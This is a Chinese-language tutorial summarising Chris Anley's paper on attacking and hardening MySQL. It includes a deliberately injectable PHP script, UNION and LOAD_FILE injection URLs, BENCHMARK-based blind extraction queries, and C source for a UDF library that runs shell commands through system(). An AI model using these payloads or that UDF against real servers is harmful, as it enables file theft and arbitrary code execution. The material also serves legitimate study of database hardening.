Hackproofing MySQL

这是一篇很经典的论文，作者Chris Anley 是shellcode handbook的作者之一。我在写这篇文章的时候也参考了官方文档，这篇文章虽然已经满大街了，但是仔细读过还是学到了很多知识，有些地方限于技术和英文水平不能很好的理解，多有疏漏，请看官见谅。

0x01 mysql介绍

mysql号称是世界上最流行的开源数据库，它免费，而且跨平台，配置简单，而且在高负载工作时也能有很好的性能。相比其他的数据库，它的配置过于简单，由此大大挑战了mysql的安全性。本文介绍了mysql的常规攻击方法，使用者们可以防备这些攻击。（由于本文是2004年的文章，mysql已经更新到5.7版本，省略了版本介绍部分）

0x02 网络中的mysql

因为mysql 的免费，容易获得，很多个人电脑上都安装了mysql，不一定是专门的服务器。典型的配置里客户端通过TCP3306端口连接mysql，windows中则是通过命名管道（不推荐这种方式）。mysql默认两种都有。mysql使用的网络协议相对于其他的DBMS要简单，默认明文传输，4.0.0以上版本支持ssl。很容易检测出来一个主机使用的mysql版本，甚至也会返回操作系统的信息。端口扫描能泄漏很多主机的信息，管理员除了改源码也没有什么好办法。

这样检测一下mysql是不是传输的加密数据(PS:如果是加密的也不意味着安全)
shell>tcpdump -l -i eth0 -w - src or dst port 3306 | strings

mysql大多数作为网页应用的后端，和Apache/PHP 网页应用一起作为web服务器。也有的作为日志服务器，IDS入侵探测记录或者其他的审计工作。在内部网络中的应用更加传统，桌面开发环境中总有mysql。

鉴于历史上mysql是明文通信，通常用SSH加在密信道中端口转发连接3306端口。好处就是信息传输中被加密了，强行加了一道验证。
要了解更多的安全配置还是看官方的推荐
http://dev.mysql.com/doc/refman/5.7/en/security.html
但是指南中通常建议将web服务器和mysql放在同一主机上，这样就可以禁止mysql的远程访问，但同时如果web服务器被攻击所有的数据库信息都会被窃取.SQL注入等漏洞也会导致攻击者修改数据库内容。虽然正确的权限管理会缓解一下情况，但是也应该时刻记住数据库和web服务器在同一个主机上给攻击者提供了很多便利。
（因为都不是最新的漏洞了所以以下省略各种漏洞编号和简介）

0x03mysql中的SQL注入

即使安全社区多年不断的劝告和说教，SQL注入如今依然是个大问题，根本的原因是对用户输入没有充分过滤。
php中'magic_quotes_rpc'选项控制PHP引擎是否自动转义单引号，双引号，反斜杠，NULL。

$query = "SELECT * FROM user where user = '" . $_REQUEST['user'] . "'"; $query = "SELECT * FROM user order by " . $_REQUEST['user']; $query = "SELECT * FROM user where max_connections = " .$_REQUEST['user'];
类似这样的语句，都存在SQL注入。
如果没开启'magic_quotes_rpc' 安全性就会更差一点。

接下来的问题是：黑客SQL注入攻击之后能干什么。
一些危险操作列表

• UNION SELECT
• LOAD_FILE function
• LOAD DATA INFILE statement
• SELECT ... INTO OUTFILE statement
• BENCHMARK function
• User Defined Functions (UDFs)

有个具体的实例可以更加形象的理解，以下有一段PHP代码（明显是虚构的只作为展示）

<?php
/* Connecting, selecting database */
$link = mysql_connect("my_host", "root")
or die("Could not connect : " . mysql_error());
print "Connected successfully";
mysql_select_db("mysql") or die("Could not select database");
/* Performing SQL query */
$query = "SELECT * FROM user where max_connections = " . $_REQUEST
['user'];
print "<h3>Query: " . $query . "</h3>";
$result = mysql_query($query) or die("Query failed : " .
mysql_error());
/* Printing results in HTML */
print "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
print "\t<tr>\n";
foreach ($line as $col_value) {
print "\t\t<td>$col_value</td>\n";
}
print "\t</tr>\n";
}
print "</table>\n";
/* Free resultset */
mysql_free_result($result);
?>
/* Closing connection */

联合查询UNION

如今联合查询UNION已经成为了SQL注入攻击的重要分支。
上面有一段代码像这样
$query = "SELECT * FROM user where max_connections = " . $_REQUEST['user'];
max_connection=0 表示root用户，如果我们请求这样的链接
http://mysql.example.com/query.php?user=0
得到user表的输出。

如果我们想获得除user外其他有用的数据，UNION指令可以结合两次的查询结果，可以查询不同的表。既然UNION可以在WHERE子句之后，我们就可以选择任何的数据，有一些点需要注意。

• 我们选择的指令返回的字段长度要和前一句一样（长度31如果你数了的话）
  +前后数据类型要匹配
  +如果我们的数据中包括文本，语句会被截断和第一句里一样长。

如果我们想查询‘@@version’
请求像这样
http://mysql.examples.com/query.php?user=1+union+select+@@version,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

0x04 LOAD_FILE 函数

LOAD_FILE函数用字符串形式返回了文件内容，例如在Windows下
select load_file('c:/boot.ini');
如果目标用PHP而且打开了魔术引号功能，那我们就不能用单引号了
(原文说能够hex编码能够绕过，亲测不好用)
因为这样只能显示前60个字符，用substring()解决问题
http://mysql.example.com/query.php?user=1+union+select+substring(load_file (0x633a2f626f6f742e696e69),60), 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

LOAD DATA IN FILE

如果SQL注入的环境允许攻击者注入复合语句，这就变成了一个严重的问题。
通常这样利用

load data infile 'c:/boot.ini' into table foo;
select * from foo;```

load data 一个危险的特性可能导致攻击者从客户端拿走文件（而不是服务端），这意味着从web服务器上就能读取文件，不用数据库服务器。
这个问题已经在后面的版本中‘解决’了，需要检查配置客户端和服务端都需要同意才能启用这个功能，所以还要检查配置。
***
PS：为了解决这个问题，LOAD DATA LOCAL 这样工作
+ 默认所有的mysql客户端和二进制文件编译的时候都用-DENABLED_LOCAL_INFILE=1 
+ 即使自己从源码编译的时候没有加上-DENABLED_LOCAL_INFILE=1 这一项，LOAD DATA LOCAL也不能被客户端调用，除非明确指出mysql_options(... MYSQL_OPT_LOCAL_INFILE , 0)
+ 服务端可以禁用所有的LOAD DATA LOCAL 命令 ，用--local-infile=0打开mysqld 
+ 对于命令行mysql客户端，--local-infile[=1]选项打开功能，--local-infile=0禁止。对于mysqlimport，默认是禁止的。可以用--local  -L 打开。
无论怎样，想加载本地文件都需要服务端的同意。
+如果你在Perl脚本中用了LOAD DATA LOCAL 或者其他程序在选项文件中读取了用户组，可以将这个组添加 local-infile 选项。或者为了避免麻烦，用loose-前缀
`[client]
loose-local-infile=1`
+ 如果LOAD DATA LOCAL被客户端或服务端禁止，客户端的错误消息
`ERROR 1148 ： The used command is not alleowed with this MySQL version`
***
####0x05 SELECT .. INTO OUTFILE
这条语句为黑客指了一条控制mysql服务器的大道——创建一个不存在的配置文件。最近的版本中虽然不能修改存在的文件，但是可以创建一个新的。
最好的例子是CAN-2003-0150，在3.23.55或更早的版本中可以覆盖my.cnf文件，配置MySQL以root用户重启。3.23.56修补了这个漏洞，但是通过确认’user‘设置 /etc/my.cnf 来覆盖 /datadir/my.cnf

如果你想用SELECT..INTO OUTFILE创建一个二进制文件，特定的字母会被反斜杠转义，NULL用’\0‘替代。
**SELECT ... INTO DUMPFILE**
这条指令可以利用创建动态加载库，再包含一个恶意的UDF（自定义函数），然后用“CREATE FUNCTION”载入库，将函数链接到MySQL。
这么说来，就是一个任意代码执行了。保证攻击的关键在于当MySQL加载动态库的时候攻击者要让它像要寻找的位置写入一个文件。它依赖于文件的权限和文件在系统的位置。

####0x06 时间延时和基准函数
很多时候，web应用不返回任何的错误信息，他们都被有经验的开发者过滤了，给确认SQL注入漏洞带来了一些困难。
这种情况下攻击者注入一个SQL延时语句，看请求的延时就更容易判断web应用的脆弱点。用条件语句和时间延时相结合能从数据中提取更多信息。

MySQL中没有sleep和wait这种函数，可以用加密函数和benchmark替代。
+ ```select benchmark( 500000, sha1( 'test' ) );```
计算sha1('test')500000次。在一个单核1.7GHz的机器上大约消耗五秒。
请求URL
`http://mysql.example.com/query.php?user=1+union+select+benchmark(500000,sha1
(0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1`
会让应用回应延迟10-15秒

+ 攻击者用这种方式来一步步探测信息，比如
select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
可以知道用户名是不是root
+ 下一步就是每次1bit的获取信息
select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
如果user()的第一bit是1 就延迟
***复合语句可以同时执行，所以这种方式不慢，也很可靠***

#####0x07 User define functions
MySQL提供了一个机制，默认函数可以自己扩展，通过定制动态加载库来使用UDF。
'CREATE FUNCTION'命令和手动添加'mysql.func'中的条目都可以。
库中的函数一定要在MySQL正常可获取的路径中。
攻击者利用这种机制创建动态库，SELECT ... INTO DUMPFILE 将其写到合适的目录中，接着需要mysql.func的  'update','insert'的权限让MySQL加载库并执行函数。

***一个简单UDF库的例子***
```cpp
#include <stdio.h>
#include <stdlib.h>
/*
compile with something like
gcc -g -c so_system.c
then
gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc
*/
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args
{
unsigned int arg_count;    /* Number of arguments */
enum Item_result *arg_type;/* Pointer to item_results */
char **args;                       /* Pointer to argument */
unsigned long *lengths;    /* Length of string arguments */
char *maybe_null;             /* Set to 1 for all maybe_null args */
} UDF_ARGS;
typedef struct st_udf_init
{
char maybe_null;                /* 1 if function can return NULL */
unsigned int decimals;               /* for real functions */
unsigned long max_length; /* For string functions */
char *ptr;             /* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;
int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if( args->arg_count != 1 )
return 0;
system( args->args[0] );
return 0;
}

将函数添加到MySQL
mysql> create function do_system returns integer soname 'so_system.so'; Query OK, 0 rows affected (0.00 sec) mysql> select * from mysql.func; mysql> select do_system('ls > /tmp/test.txt');//这样调用

即使攻击者没有权限在目标系统中创建库，利用一些已有的库也可以达到恶意目的。
攻击的难点在于大多数的函数参数不容易匹配MySQL的UDF原型。
int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
尽管更富有经验的黑客会用已有的库构造任意代码执行，但是所有的错误基本可控，利用的价值不大。

但是还是可以用系统库做一些坏事，调用Windows的结束进程作为MySQL的UDF会立即结束MySQL，即使调用的用户没有'Shutdown_priv'

mysql> create function ExitProcess returns integer soname 'kernel32'; Query OK, 0 rows affected (0.17 sec) mysql> select exitprocess(); ERROR 2013: Lost connection to MySQL server during query
还可以锁住用户的工作站
mysql> create function LockWorkStation returns integer soname 'user32'; Query OK, 0 rows affected (0.00 sec) mysql> select LockWorkStation();

MySQL的UDF机制对开发者和黑客都同样灵活多变，富有价值。
小心的控制好MySQL的权限，尤其是mysql.func 表，文件权限，限制使用'SELECT .. INTO FILE'。